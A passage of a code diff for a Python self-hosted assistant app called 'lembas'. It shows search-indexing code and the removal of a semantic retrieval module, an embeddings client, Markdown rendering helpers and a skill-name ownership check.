seen: set[tuple[str, str]] = session.info.setdefault(_PENDING, set())
|
||||
for row in (*session.new, *session.dirty, *session.deleted):
|
||||
kind = kind_of(row)
|
||||
if kind is None:
|
||||
continue
|
||||
resource_id = str(getattr(row, "id", "") or "")
|
||||
if resource_id:
|
||||
seen.add((kind, resource_id))
|
||||
|
||||
|
||||
def _fire(session) -> None:
|
||||
# A deletion is scheduled exactly like a change: `index_resource` finds no
|
||||
# row and drops the chunks. One path rather than two, and the one that runs
|
||||
# is the one that has to be right anyway.
|
||||
for kind, resource_id in session.info.pop(_PENDING, set()):
|
||||
schedule(kind, resource_id)
|
||||
|
||||
|
||||
def _forget(session) -> None:
|
||||
session.info.pop(_PENDING, None)
|
||||
|
||||
|
||||
def install() -> None:
|
||||
"""Listen for library records changing. Called once, from the app factory.
|
||||
|
||||
Idempotent: `event.contains` is checked, because the app factory is called
|
||||
per test in the suite and registering the same listener a hundred times
|
||||
would index every record a hundred times over.
|
||||
"""
|
||||
from sqlalchemy import event
|
||||
from sqlalchemy.orm import Session
|
||||
|
||||
for name, handler in (
|
||||
("after_flush", _collect),
|
||||
("after_commit", _fire),
|
||||
("after_rollback", _forget),
|
||||
):
|
||||
if not event.contains(Session, name, handler):
|
||||
event.listen(Session, name, handler)
|
||||
|
||||
|
||||
def sweep_orphans(db: DBSession) -> int:
|
||||
"""Drop chunks whose record has gone.
|
||||
|
||||
A backstop for the one case the listeners cannot cover: a delete that
|
||||
happened with no event loop running -- a CLI command, a test, a cascade from
|
||||
deleting a user -- where `schedule` had nowhere to put its task. Cheap
|
||||
enough to run at startup and at the end of every rebuild: one NOT IN per
|
||||
kind, against an indexed column.
|
||||
"""
|
||||
removed = 0
|
||||
for kind, (model, _) in SOURCES.items():
|
||||
result = db.execute(
|
||||
delete(Chunk).where(
|
||||
Chunk.resource_type == kind,
|
||||
Chunk.resource_id.not_in(select(model.id)),
|
||||
)
|
||||
)
|
||||
removed += int(result.rowcount or 0)
|
||||
if removed:
|
||||
db.commit()
|
||||
log.info("dropped %d orphaned chunk(s)", removed)
|
||||
return removed
|
||||
|
||||
|
||||
# --- Rebuilding everything ------------------------------------------------------
|
||||
@dataclass
|
||||
class Progress:
|
||||
"""What a rebuild has done so far.
|
||||
|
||||
In-process, because a rebuild does not survive a restart. Persisting it
|
||||
would mean a progress bar that stops moving and never finishes, which is
|
||||
worse than one that admits it is gone.
|
||||
"""
|
||||
|
||||
running: bool = False
|
||||
total: int = 0
|
||||
done: int = 0
|
||||
written: int = 0
|
||||
error: str = ""
|
||||
kinds: dict[str, int] = field(default_factory=dict)
|
||||
|
||||
@property
|
||||
def percent(self) -> int:
|
||||
return int(self.done * 100 / self.total) if self.total else 0
|
||||
|
||||
|
||||
_PROGRESS = Progress()
|
||||
_REBUILD: asyncio.Task | None = None
|
||||
|
||||
|
||||
def progress() -> Progress:
|
||||
return _PROGRESS
|
||||
|
||||
|
||||
def counts(db: DBSession) -> dict[str, int]:
|
||||
"""How many chunks exist per kind. What the page shows when nothing is running."""
|
||||
rows = db.execute(
|
||||
select(Chunk.resource_type, func.count()).group_by(Chunk.resource_type)
|
||||
).all()
|
||||
return {str(kind): int(count) for kind, count in rows}
|
||||
|
||||
|
||||
async def rebuild_all(*, force: bool = True) -> None:
|
||||
"""Walk every record and index it, committing as it goes.
|
||||
|
||||
One at a time and never gathered. The far side is usually one local model
|
||||
server, and twenty concurrent embedding requests against it is slower than
|
||||
twenty sequential ones as well as being ruder.
|
||||
"""
|
||||
global _PROGRESS
|
||||
_PROGRESS = Progress(running=True)
|
||||
try:
|
||||
with session_scope() as db:
|
||||
if embedder(db) is None:
|
||||
_PROGRESS.error = "No embedding model is configured."
|
||||
return
|
||||
work: list[tuple[str, str]] = []
|
||||
for kind, (model, _) in SOURCES.items():
|
||||
ids = [row[0] for row in db.execute(select(model.id)).all()]
|
||||
work.extend((kind, str(row_id)) for row_id in ids)
|
||||
_PROGRESS.total = len(work)
|
||||
|
||||
for kind, resource_id in work:
|
||||
written = await index_resource(kind, resource_id, force=force)
|
||||
_PROGRESS.done += 1
|
||||
_PROGRESS.written += written
|
||||
_PROGRESS.kinds[kind] = _PROGRESS.kinds.get(kind, 0) + written
|
||||
|
||||
# After the walk, not before: a record deleted while this was running
|
||||
# would otherwise be swept and then re-indexed from a row that no longer
|
||||
# exists. `index_resource` handles that case too, and doing it in this
|
||||
# order means one pass reconciles both directions.
|
||||
with session_scope() as db:
|
||||
sweep_orphans(db)
|
||||
except asyncio.CancelledError:
|
||||
_PROGRESS.error = "Stopped."
|
||||
raise
|
||||
except Exception as exc: # noqa: BLE001 - a rebuild failing must be reportable
|
||||
log.exception("rebuilding the index failed")
|
||||
_PROGRESS.error = str(exc)
|
||||
finally:
|
||||
_PROGRESS.running = False
|
||||
|
||||
|
||||
def start_rebuild(*, force: bool = True) -> bool:
|
||||
"""Start a rebuild if one is not already going. True if this call started it."""
|
||||
global _REBUILD
|
||||
if _REBUILD is not None and not _REBUILD.done():
|
||||
return False
|
||||
try:
|
||||
asyncio.get_running_loop()
|
||||
except RuntimeError:
|
||||
return False
|
||||
_REBUILD = asyncio.create_task(rebuild_all(force=force))
|
||||
return True
|
||||
|
||||
|
||||
async def shutdown() -> None:
|
||||
"""Cancel the rebuild and any in-flight indexing.
|
||||
|
||||
Nothing here is lost that matters: a chunk set is either written whole or
|
||||
not at all, and the next rebuild picks up whatever was missed.
|
||||
"""
|
||||
global _REBUILD
|
||||
tasks = [task for task in (_REBUILD, *_TASKS.values()) if task is not None]
|
||||
_TASKS.clear()
|
||||
_REBUILD = None
|
||||
for task in tasks:
|
||||
task.cancel()
|
||||
for task in tasks:
|
||||
with contextlib.suppress(asyncio.CancelledError, Exception):
|
||||
await task
|
||||
|
||||
|
||||
def clear() -> None:
|
||||
"""For tests: forget the in-process state without touching the database."""
|
||||
global _REBUILD, _PROGRESS
|
||||
_TASKS.clear()
|
||||
_REBUILD = None
|
||||
_PROGRESS = Progress()
|
||||
|
||||
|
||||
__all__ = [
|
||||
"CHUNK_KINDS",
|
||||
"SOURCES",
|
||||
"Embedder",
|
||||
"Progress",
|
||||
"clear",
|
||||
"counts",
|
||||
"embedder",
|
||||
"enabled",
|
||||
"forget_resource",
|
||||
"index_resource",
|
||||
"kind_of",
|
||||
"progress",
|
||||
"rebuild_all",
|
||||
"schedule",
|
||||
"schedule_for",
|
||||
"shutdown",
|
||||
"start_rebuild",
|
||||
"text_of",
|
||||
]
|
||||
@@ -13,9 +13,9 @@ import logging
|
||||
from sqlalchemy import select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.db.models import AUTHOR_MODEL, AUTHOR_USER, CHUNK_NOTE, Note, User
|
||||
from lembas.db.models import AUTHOR_MODEL, AUTHOR_USER, Note, User
|
||||
from lembas.services import sharing
|
||||
from lembas.services.library import retrieval
|
||||
from lembas.services.library.fts import search_ids
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
@@ -43,22 +43,9 @@ def recent(db: DBSession, user: User | None, *, limit: int = 20) -> list[Note]:
|
||||
)
|
||||
|
||||
|
||||
def search(
|
||||
db: DBSession,
|
||||
user: User | None,
|
||||
needle: str,
|
||||
*,
|
||||
limit: int = 10,
|
||||
vector: list[float] | None = None,
|
||||
) -> list[Note]:
|
||||
"""Notes matching `needle` that this user may see, best match first.
|
||||
|
||||
`vector` is the query already embedded, or None. It comes from the caller
|
||||
rather than being worked out here because this is synchronous and embedding
|
||||
is an HTTP request -- see `services/library/retrieval.py`. None means the
|
||||
keyword search exactly as it always was.
|
||||
"""
|
||||
hits = retrieval.search(db, INDEX, needle, kind=CHUNK_NOTE, vector=vector, limit=limit * 4)
|
||||
def search(db: DBSession, user: User | None, needle: str, *, limit: int = 10) -> list[Note]:
|
||||
"""Notes matching `needle` that this user may see, best match first."""
|
||||
hits = search_ids(db, INDEX, needle, limit=limit * 4)
|
||||
if not hits:
|
||||
return []
|
||||
order = {hit.id: position for position, hit in enumerate(hits)}
|
||||
|
||||
@@ -1,207 +0,0 @@
|
||||
"""Finding things: keywords, meaning, and the two fused.
|
||||
|
||||
`fts.search_ids` was already the one seam every store searches through. This
|
||||
sits beside it and keeps that true — the four stores still call one function and
|
||||
still get ids back, and what changed is what is behind it.
|
||||
|
||||
## Reciprocal rank fusion, and why not a weight
|
||||
|
||||
Two rankings have to become one, and their scores are not comparable: bm25 is a
|
||||
negative number whose scale depends on the corpus, cosine is 0..1. Normalising
|
||||
them onto a common scale means picking a constant, and that constant is a knob
|
||||
nobody can tune without a labelled test set they do not have.
|
||||
|
||||
RRF uses the **ranks** and not the scores: `1 / (K + rank)`, summed. It has one
|
||||
constant, `K`, it is famously insensitive to it, and it degrades to exactly one
|
||||
of the two lists when the other is empty — which is what makes "no embedding
|
||||
model configured" mean the keyword search, unchanged, with no branch anywhere
|
||||
that says so.
|
||||
|
||||
## The query is embedded by the caller, not here
|
||||
|
||||
`search` is synchronous, because every store's `search()` is and every one of
|
||||
them is called from both a route and a tool runner. Embedding is an HTTP request.
|
||||
So a caller that can await gets the query vector first and passes it in; one that
|
||||
cannot passes nothing and gets keywords. `embed_query` is the async half, and
|
||||
being able to answer `None` for every "no" is what keeps that from being a branch
|
||||
at each call site.
|
||||
|
||||
## Visibility is still somebody else's job
|
||||
|
||||
Both halves return ids, and both are scored across *everything* — the filter is
|
||||
applied to the row query afterwards, in each store, through
|
||||
`services/sharing.py`. That order is deliberate and is the same one the
|
||||
full-text path has always used: filtering afterwards is what makes it impossible
|
||||
for a hit on somebody else's record to leak, even as a count.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
|
||||
from sqlalchemy import select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.db.models import Chunk
|
||||
from lembas.services.library import chunks as chunk_service
|
||||
from lembas.services.library.fts import SearchHit, fts_query, search_ids
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# The one constant in reciprocal rank fusion. 60 is what the original paper used
|
||||
# and what everything since has copied; the method's whole appeal is that the
|
||||
# result barely moves for anything in the tens. It is not a tuning knob and is
|
||||
# deliberately not a setting -- a number nobody can evaluate is a number nobody
|
||||
# should be asked about.
|
||||
RRF_K = 60
|
||||
|
||||
# How many chunks are scored before they are collapsed to records. Larger than
|
||||
# the number of records wanted, because one long document can own several of the
|
||||
# best chunks and would otherwise crowd everything else out of the answer.
|
||||
CHUNK_MULTIPLIER = 6
|
||||
|
||||
|
||||
def embeddable(db: DBSession) -> bool:
|
||||
from lembas.services.library import indexing
|
||||
|
||||
return indexing.enabled(db)
|
||||
|
||||
|
||||
def worker_for(db: DBSession):
|
||||
"""The configured embedder, resolved while a session is open.
|
||||
|
||||
Split from the awaiting half deliberately. A caller that must not hold a
|
||||
database session across an HTTP request -- a tool runner, which is about to
|
||||
open its own -- resolves here, closes, and awaits `embed_with`. One that
|
||||
already holds a request's session and is content to keep it can use
|
||||
`embed_query` instead.
|
||||
"""
|
||||
from lembas.services.library import indexing
|
||||
|
||||
return indexing.embedder(db)
|
||||
|
||||
|
||||
async def embed_with(worker, needle: str) -> list[float] | None:
|
||||
"""The query as a vector, or None.
|
||||
|
||||
None for every "no": no model configured, an empty query, an endpoint that
|
||||
is down. Each of them means the same thing to the caller — search by
|
||||
keywords — so none of them is an error, and a search that quietly stops
|
||||
being semantic is far better than one that 500s because a model server was
|
||||
restarting.
|
||||
"""
|
||||
from lembas.services.llm import embeddings as embeddings_service
|
||||
from lembas.services.llm.openai_client import LLMError
|
||||
|
||||
if worker is None or not (needle or "").strip():
|
||||
return None
|
||||
try:
|
||||
vectors = await embeddings_service.embed(worker.endpoint, worker.model_id, [needle])
|
||||
except LLMError as exc:
|
||||
log.info("could not embed a query: %s", exc)
|
||||
return None
|
||||
return vectors[0] if vectors else None
|
||||
|
||||
|
||||
async def embed_query(db: DBSession, needle: str) -> list[float] | None:
|
||||
"""`worker_for` and `embed_with`, for a caller happy to hold its session."""
|
||||
return await embed_with(worker_for(db), needle)
|
||||
|
||||
|
||||
def semantic_ids(
|
||||
db: DBSession, kind: str, vector: list[float], *, limit: int = 20
|
||||
) -> list[SearchHit]:
|
||||
"""Record ids whose best chunk is closest to `vector`, best first.
|
||||
|
||||
A brute-force scan, and that is the right answer at this scale: a library of
|
||||
ten thousand chunks is forty megabytes of float32 and a few million
|
||||
multiply-adds, which is milliseconds. A real index is a later change behind
|
||||
this same call, which is why the signature says nothing about how.
|
||||
|
||||
**A record scores as its best chunk, not its average.** One paragraph that
|
||||
answers the question is what makes a document worth returning; averaging
|
||||
would rank a long document about something else above a short one that says
|
||||
exactly the thing, because most of the long one is not about anything.
|
||||
|
||||
Chunks whose width does not match the query's are skipped. That is a change
|
||||
of embedding model with a rebuild still pending, and scoring across two
|
||||
spaces produces a confident wrong answer rather than a missing one.
|
||||
"""
|
||||
if not vector:
|
||||
return []
|
||||
width = len(vector)
|
||||
rows = db.execute(
|
||||
select(Chunk.resource_id, Chunk.vector, Chunk.dims).where(Chunk.resource_type == kind)
|
||||
).all()
|
||||
|
||||
best: dict[str, float] = {}
|
||||
for resource_id, blob, dims in rows:
|
||||
if int(dims or 0) != width:
|
||||
continue
|
||||
stored = chunk_service.unpack(blob, int(dims))
|
||||
if not stored:
|
||||
continue
|
||||
score = chunk_service.dot(vector, stored)
|
||||
key = str(resource_id)
|
||||
if score > best.get(key, -2.0):
|
||||
best[key] = score
|
||||
|
||||
ordered = sorted(best.items(), key=lambda pair: pair[1], reverse=True)
|
||||
return [SearchHit(id=key, rank=score) for key, score in ordered[: max(1, limit)]]
|
||||
|
||||
|
||||
def fuse(*rankings: list[SearchHit], limit: int = 20) -> list[SearchHit]:
|
||||
"""Reciprocal rank fusion of any number of rankings.
|
||||
|
||||
The returned `rank` is the fused score, and it is **larger for better**,
|
||||
which is the opposite of bm25's convention. Nothing downstream reads it --
|
||||
every caller uses the order — but it is worth saying out loud rather than
|
||||
leaving somebody to infer it from a negative number that is no longer there.
|
||||
"""
|
||||
scores: dict[str, float] = {}
|
||||
for ranking in rankings:
|
||||
for position, hit in enumerate(ranking):
|
||||
scores[hit.id] = scores.get(hit.id, 0.0) + 1.0 / (RRF_K + position + 1)
|
||||
ordered = sorted(scores.items(), key=lambda pair: pair[1], reverse=True)
|
||||
return [SearchHit(id=key, rank=score) for key, score in ordered[: max(1, limit)]]
|
||||
|
||||
|
||||
def search(
|
||||
db: DBSession,
|
||||
index: str,
|
||||
needle: str,
|
||||
*,
|
||||
kind: str = "",
|
||||
vector: list[float] | None = None,
|
||||
limit: int = 20,
|
||||
) -> list[SearchHit]:
|
||||
"""Ids matching `needle`, keywords and meaning fused.
|
||||
|
||||
With no `vector` this is `fts.search_ids` and nothing else — the same call,
|
||||
the same results, in the same order. That is what makes an instance with no
|
||||
embedding model byte-for-byte what it always was, and it is asserted by a
|
||||
test rather than left as a claim.
|
||||
"""
|
||||
keyword = search_ids(db, index, needle, limit=limit)
|
||||
if not vector or not kind:
|
||||
return keyword
|
||||
meaning = semantic_ids(db, kind, vector, limit=limit * CHUNK_MULTIPLIER)
|
||||
if not meaning:
|
||||
return keyword
|
||||
if not keyword and not fts_query(needle):
|
||||
# Nothing typed that FTS could match — a query of pure punctuation, or
|
||||
# one whose every word is a separator. The semantic side still has an
|
||||
# answer, and fusing a list with nothing is that list.
|
||||
return meaning[:limit]
|
||||
return fuse(keyword, meaning, limit=limit)
|
||||
|
||||
|
||||
__all__ = [
|
||||
"CHUNK_MULTIPLIER",
|
||||
"RRF_K",
|
||||
"embed_query",
|
||||
"embeddable",
|
||||
"fuse",
|
||||
"search",
|
||||
"semantic_ids",
|
||||
]
|
||||
@@ -28,9 +28,9 @@ from collections.abc import Iterable
|
||||
from sqlalchemy import select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.db.models import AUTHOR_MODEL, AUTHOR_USER, CHUNK_SKILL, Skill, SkillRevision, User
|
||||
from lembas.db.models import AUTHOR_MODEL, AUTHOR_USER, Skill, SkillRevision, User
|
||||
from lembas.services import sharing
|
||||
from lembas.services.library import retrieval
|
||||
from lembas.services.library.fts import search_ids
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
@@ -67,39 +67,12 @@ def get(db: DBSession, skill_id: str, user: User | None) -> Skill | None:
|
||||
|
||||
|
||||
def by_name(db: DBSession, name: str, user: User | None) -> Skill | None:
|
||||
"""Look one up the way the model refers to it.
|
||||
|
||||
Scoped to what this person can **see**, which is theirs plus anything
|
||||
shared with them -- correct for `skill_get` and `skill_edit`, where a
|
||||
skill somebody shared is exactly what the model is reaching for.
|
||||
|
||||
It is the wrong question for "is this name taken?"; see `owned_by_name`.
|
||||
"""
|
||||
"""Look one up the way the model refers to it."""
|
||||
if user is None:
|
||||
return None
|
||||
return db.scalar(visible(db, user).where(Skill.name == slugify(name)))
|
||||
|
||||
|
||||
def owned_by_name(db: DBSession, name: str, owner: User) -> Skill | None:
|
||||
"""One of *this person's own* skills by name.
|
||||
|
||||
The uniqueness check used `by_name`, which is scoped to what is visible --
|
||||
so a skill somebody shared with you took that name out of your library.
|
||||
Sharing a curated skill with a team is the intended use of `library.share`,
|
||||
and doing it silently reserved the name for everyone it reached: creating
|
||||
your own was refused with "a skill called 'weekly-report' already exists.
|
||||
Edit it instead", naming a row you cannot edit, because sharing grants
|
||||
reading only. The model's `skill_create` got the same dead end.
|
||||
|
||||
The table's constraint is `(owner_id, name)`, so the question the check
|
||||
should have been asking was always this one. `documents.create_base` next
|
||||
door asks it correctly.
|
||||
"""
|
||||
return db.scalar(
|
||||
select(Skill).where(Skill.owner_id == owner.id, Skill.name == slugify(name))
|
||||
)
|
||||
|
||||
|
||||
def enabled_for(
|
||||
db: DBSession, user: User | None, *, exclude: Iterable[str] = ()
|
||||
) -> list[Skill]:
|
||||
@@ -130,22 +103,8 @@ def count_enabled(db: DBSession, user: User | None, *, exclude: Iterable[str] =
|
||||
return len(enabled_for(db, user, exclude=exclude))
|
||||
|
||||
|
||||
def search(
|
||||
db: DBSession,
|
||||
user: User | None,
|
||||
needle: str,
|
||||
*,
|
||||
limit: int = 10,
|
||||
vector: list[float] | None = None,
|
||||
) -> list[Skill]:
|
||||
"""Skills matching `needle` that this user may see, best match first.
|
||||
|
||||
`vector` is the query already embedded, or None. It comes from the caller
|
||||
rather than being worked out here because this is synchronous and embedding
|
||||
is an HTTP request -- see `services/library/retrieval.py`. None means the
|
||||
keyword search exactly as it always was.
|
||||
"""
|
||||
hits = retrieval.search(db, INDEX, needle, kind=CHUNK_SKILL, vector=vector, limit=limit * 4)
|
||||
def search(db: DBSession, user: User | None, needle: str, *, limit: int = 10) -> list[Skill]:
|
||||
hits = search_ids(db, INDEX, needle, limit=limit * 4)
|
||||
if not hits:
|
||||
return []
|
||||
order = {hit.id: position for position, hit in enumerate(hits)}
|
||||
@@ -182,7 +141,7 @@ def create(
|
||||
"A skill name must be two or more letters, numbers or hyphens, "
|
||||
"such as 'weekly-report'."
|
||||
)
|
||||
if owned_by_name(db, slug, owner) is not None:
|
||||
if by_name(db, slug, owner) is not None:
|
||||
raise SkillError(f"A skill called {slug!r} already exists. Edit it instead.")
|
||||
if not description.strip():
|
||||
raise SkillError(
|
||||
|
||||
@@ -1,144 +0,0 @@
|
||||
"""Turning text into vectors, against an OpenAI-shaped `/v1/embeddings`.
|
||||
|
||||
The same reasoning as the chat and audio clients: plain httpx rather than an
|
||||
SDK, because the target is llama.cpp, Ollama, LM Studio, Infinity or vLLM at
|
||||
least as often as it is api.openai.com. They agree about the request and
|
||||
disagree politely about the response, so this is tolerant about what comes back
|
||||
and strict about what it hands on.
|
||||
|
||||
**Batched, because the cost is the round trip.** A hundred chunks one at a time
|
||||
against a local endpoint is a hundred model loads' worth of latency for work
|
||||
that fits in six requests. The batch size is a setting, because "how many at
|
||||
once" is a property of the far side rather than of this code.
|
||||
|
||||
**Dimensions are discovered, never declared.** Nobody should have to look up
|
||||
that bge-m3 is 1024 and nomic-embed-text is 768, and an instance that changes
|
||||
model must not silently compare vectors from two different spaces --
|
||||
`services/library/indexing.py` records the width beside every vector and
|
||||
refuses to score across a mismatch.
|
||||
|
||||
Normalisation happens here, once, on the way out. Cosine similarity between two
|
||||
unit vectors is their dot product, so normalising at write time turns every
|
||||
later comparison into a multiply-and-add instead of two square roots per pair.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import math
|
||||
from typing import Any
|
||||
|
||||
import httpx
|
||||
|
||||
from lembas.services.llm.openai_client import (
|
||||
Endpoint,
|
||||
LLMError,
|
||||
describe_http_error,
|
||||
wrap_transport_error,
|
||||
)
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# Longer than a chat request's, because a batch of sixteen chunks against a
|
||||
# cold local endpoint includes loading the model.
|
||||
TIMEOUT = 120.0
|
||||
|
||||
|
||||
def normalise(vector: list[float]) -> list[float]:
|
||||
"""A unit vector, or the input unchanged when it has no length.
|
||||
|
||||
A zero vector is what an endpoint returns for empty input, and dividing by
|
||||
its norm is the one arithmetic error this path can make. It is left as it
|
||||
is: scoring it against anything gives zero, which is the honest answer.
|
||||
"""
|
||||
length = math.sqrt(sum(value * value for value in vector))
|
||||
if length <= 0:
|
||||
return vector
|
||||
return [value / length for value in vector]
|
||||
|
||||
|
||||
def _vectors_in(payload: Any) -> list[list[float]]:
|
||||
"""The embeddings out of a response, whatever shape it arrived in.
|
||||
|
||||
OpenAI's own answer is `{"data": [{"embedding": [...], "index": 0}]}`, and
|
||||
the index is honoured rather than assumed: nothing in the specification
|
||||
promises the order, and a provider that sorts differently would silently
|
||||
pair every chunk with somebody else's vector — which produces a search that
|
||||
works and is wrong, the worst failure this whole feature can have.
|
||||
"""
|
||||
if not isinstance(payload, dict):
|
||||
raise LLMError("The embedding endpoint returned something unreadable.")
|
||||
data = payload.get("data")
|
||||
if not isinstance(data, list) or not data:
|
||||
raise LLMError("The embedding endpoint returned no vectors.")
|
||||
|
||||
ordered: list[tuple[int, list[float]]] = []
|
||||
for position, entry in enumerate(data):
|
||||
if not isinstance(entry, dict):
|
||||
raise LLMError("The embedding endpoint returned no vectors.")
|
||||
raw = entry.get("embedding")
|
||||
if not isinstance(raw, list) or not raw:
|
||||
raise LLMError("The embedding endpoint returned an empty vector.")
|
||||
index = entry.get("index")
|
||||
at = int(index) if isinstance(index, int) else position
|
||||
ordered.append((at, [float(value) for value in raw]))
|
||||
ordered.sort(key=lambda pair: pair[0])
|
||||
return [vector for _, vector in ordered]
|
||||
|
||||
|
||||
async def embed(
|
||||
endpoint: Endpoint, model_id: str, texts: list[str], *, timeout: float = TIMEOUT
|
||||
) -> list[list[float]]:
|
||||
"""One request. Returns a unit vector per input, in the order given.
|
||||
|
||||
Raises `LLMError` for everything -- a missing model, an endpoint that does
|
||||
not implement embeddings at all, a transport failure -- because every caller
|
||||
treats them the same way: the index is left as it was and the search falls
|
||||
back to keywords. Nothing here is worth a partial answer.
|
||||
"""
|
||||
if not texts:
|
||||
return []
|
||||
body = {"model": model_id, "input": texts}
|
||||
try:
|
||||
async with httpx.AsyncClient(timeout=timeout) as client:
|
||||
response = await client.post(
|
||||
endpoint.url("/embeddings"), headers=endpoint.headers(), json=body
|
||||
)
|
||||
# raise_for_status, then translate. `describe_http_error` takes the
|
||||
# exception rather than the response, which is what every other
|
||||
# client here hands it.
|
||||
response.raise_for_status()
|
||||
payload = response.json()
|
||||
except httpx.HTTPStatusError as exc:
|
||||
raise LLMError(describe_http_error(exc)) from exc
|
||||
except httpx.HTTPError as exc:
|
||||
raise wrap_transport_error(exc, endpoint) from exc
|
||||
except ValueError as exc:
|
||||
raise LLMError("The embedding endpoint did not return JSON.") from exc
|
||||
|
||||
vectors = _vectors_in(payload)
|
||||
if len(vectors) != len(texts):
|
||||
# Not recoverable by guessing. A response with fewer vectors than inputs
|
||||
# would pair chunk three's text with chunk four's vector from there on,
|
||||
# for the life of the index.
|
||||
raise LLMError(
|
||||
f"Asked for {len(texts)} embeddings and got {len(vectors)}."
|
||||
)
|
||||
widths = {len(vector) for vector in vectors}
|
||||
if len(widths) != 1:
|
||||
raise LLMError("The embedding endpoint returned vectors of different widths.")
|
||||
return [normalise(vector) for vector in vectors]
|
||||
|
||||
|
||||
async def probe(endpoint: Endpoint, model_id: str) -> int:
|
||||
"""How wide this model's vectors are, by asking for one.
|
||||
|
||||
Used by the admin page's Test button and by nothing on the request path.
|
||||
There is no endpoint that reports it, so the only honest way to find out is
|
||||
to embed something.
|
||||
"""
|
||||
vectors = await embed(endpoint, model_id, ["lembas"], timeout=60.0)
|
||||
return len(vectors[0])
|
||||
|
||||
|
||||
__all__ = ["TIMEOUT", "embed", "normalise", "probe"]
|
||||
@@ -19,7 +19,7 @@ import nh3
|
||||
from markdown_it import MarkdownIt
|
||||
from pygments import highlight
|
||||
from pygments.formatters import HtmlFormatter
|
||||
from pygments.lexers import get_lexer_by_name, get_lexer_for_filename, guess_lexer
|
||||
from pygments.lexers import get_lexer_by_name, guess_lexer
|
||||
from pygments.util import ClassNotFound
|
||||
|
||||
# Class-based highlighting; the colours come from theme tokens in chat.css, so
|
||||
@@ -95,43 +95,6 @@ def _render_fence(tokens, idx, _options, _env) -> str:
|
||||
)
|
||||
|
||||
|
||||
def highlight_code(text: str, filename: str = "") -> str:
|
||||
"""A whole file, class-highlighted, for the canvas panel to read.
|
||||
|
||||
Here rather than in a module of its own because `markdown.py` is where
|
||||
pygments lives and `_FORMATTER` is already configured: a second formatter
|
||||
would mean a second set of class names and a second thing to theme, and the
|
||||
`.pg-*` rules would then be right about code fences and wrong about files.
|
||||
|
||||
Pygments' `HtmlFormatter` escapes what it is given, which is what makes this
|
||||
the one call the canvas templates mark `|safe`. The content came off
|
||||
somebody else's disk, so that property is the whole of the argument -- if
|
||||
the lexer cannot be found the text is escaped by hand instead, never passed
|
||||
through.
|
||||
|
||||
Chooses by filename, because that is what the canvas has: a lexer guessed
|
||||
from contents is confidently wrong on short files, and there is no fence
|
||||
info string here to read a language out of.
|
||||
"""
|
||||
if not text:
|
||||
return ""
|
||||
|
||||
lexer = None
|
||||
if filename:
|
||||
try:
|
||||
lexer = get_lexer_for_filename(filename, stripall=False)
|
||||
except (ClassNotFound, ValueError):
|
||||
lexer = None
|
||||
if lexer is None and len(text) > 200:
|
||||
try:
|
||||
lexer = guess_lexer(text)
|
||||
except (ClassNotFound, ValueError):
|
||||
lexer = None
|
||||
|
||||
body = nh3.clean_text(text) if lexer is None else highlight(text, lexer, _FORMATTER)
|
||||
return f'<pre class="canvas__code"><code>{body}</code></pre>'
|
||||
|
||||
|
||||
@functools.lru_cache(maxsize=1)
|
||||
def _parser() -> MarkdownIt:
|
||||
md = MarkdownIt("commonmark", {"linkify": True, "typographer": False})
|
||||
@@ -157,43 +120,6 @@ def render_markdown(text: str) -> str:
|
||||
)
|
||||
|
||||
|
||||
# A fence opener: three or more backticks or tildes at the start of a line,
|
||||
# optionally indented, with whatever info string follows. Deliberately shallow --
|
||||
# it does not know about lists, block quotes or indented code, and it does not
|
||||
# have to. See `open_fence`.
|
||||
_FENCE = re.compile(r"^ {0,3}(`{3,}|~{3,})[ \t]*(.*)$")
|
||||
|
||||
|
||||
def open_fence(text: str) -> tuple[str, str]:
|
||||
"""The marker and info string of a fence left open, or ``("", "")``.
|
||||
|
||||
A reply is rendered in pieces now -- one per step, split where the model
|
||||
stopped to call a tool -- and a fence opened in one piece and never closed
|
||||
would run to the end of that piece and then leave every later fence in the
|
||||
reply paired up wrongly. `services/steps.py` uses this to close such a fence
|
||||
at the end of its own segment and reopen it at the start of the next.
|
||||
|
||||
Deliberately not a second Markdown parser. It has to be right about one
|
||||
thing: a model that opened a fence and then called a tool. Where it is
|
||||
unsure it says "no fence", which renders exactly as the whole-text version
|
||||
always did.
|
||||
"""
|
||||
marker = ""
|
||||
info = ""
|
||||
for line in text.splitlines():
|
||||
found = _FENCE.match(line)
|
||||
if found is None:
|
||||
continue
|
||||
fence, rest = found.group(1), found.group(2).strip()
|
||||
if not marker:
|
||||
marker, info = fence, rest
|
||||
elif fence[0] == marker[0] and len(fence) >= len(marker) and not rest:
|
||||
# A closer is the same character, at least as long, and carries no
|
||||
# info string. Anything else inside an open fence is just text.
|
||||
marker, info = "", ""
|
||||
return marker, info
|
||||
|
||||
|
||||
# A mention is `@` followed by a run of non-space, claimed only at the start of
|
||||
# the text or after whitespace. That last part is the whole rule: without it
|
||||
# every email address in a message becomes a highlighted file reference, which
|
||||
|
||||
@@ -1,156 +0,0 @@
|
||||
"""Messages: one long-running conversation per person.
|
||||
|
||||
Signal-shaped rather than chat-shaped. There is exactly one of these per
|
||||
account, it is never titled, never filed and never deleted, and it is meant to
|
||||
run for years — which is the whole difficulty, because a conversation that never
|
||||
ends cannot all be sent to a model.
|
||||
|
||||
**What is stored and what is used are different things, and only the second is
|
||||
bounded.** Every turn is kept, for ever, and scrolling up shows all of them
|
||||
exactly as they were written. What reaches the model is the most recent
|
||||
`LIVE_CHUNK` turns and nothing before them.
|
||||
|
||||
**Nothing is folded into text and nothing is deleted**, and that is a
|
||||
deliberate reading of "compressed and history only". The visible conversation
|
||||
would be identical either way, so the only thing destroying the older turns
|
||||
would buy is disk — against which it is irreversible, it loses every attachment
|
||||
and tool call in the folded range, and it contradicts the rule this codebase
|
||||
already holds for compaction: *hiding turns is not deleting them*. Bounding the
|
||||
request achieves the whole of what the feature needs. If the rows ever do need
|
||||
folding, it is one function against this same boundary and the pages above it do
|
||||
not change.
|
||||
|
||||
The consequence is worth stating plainly rather than discovering: **a Messages
|
||||
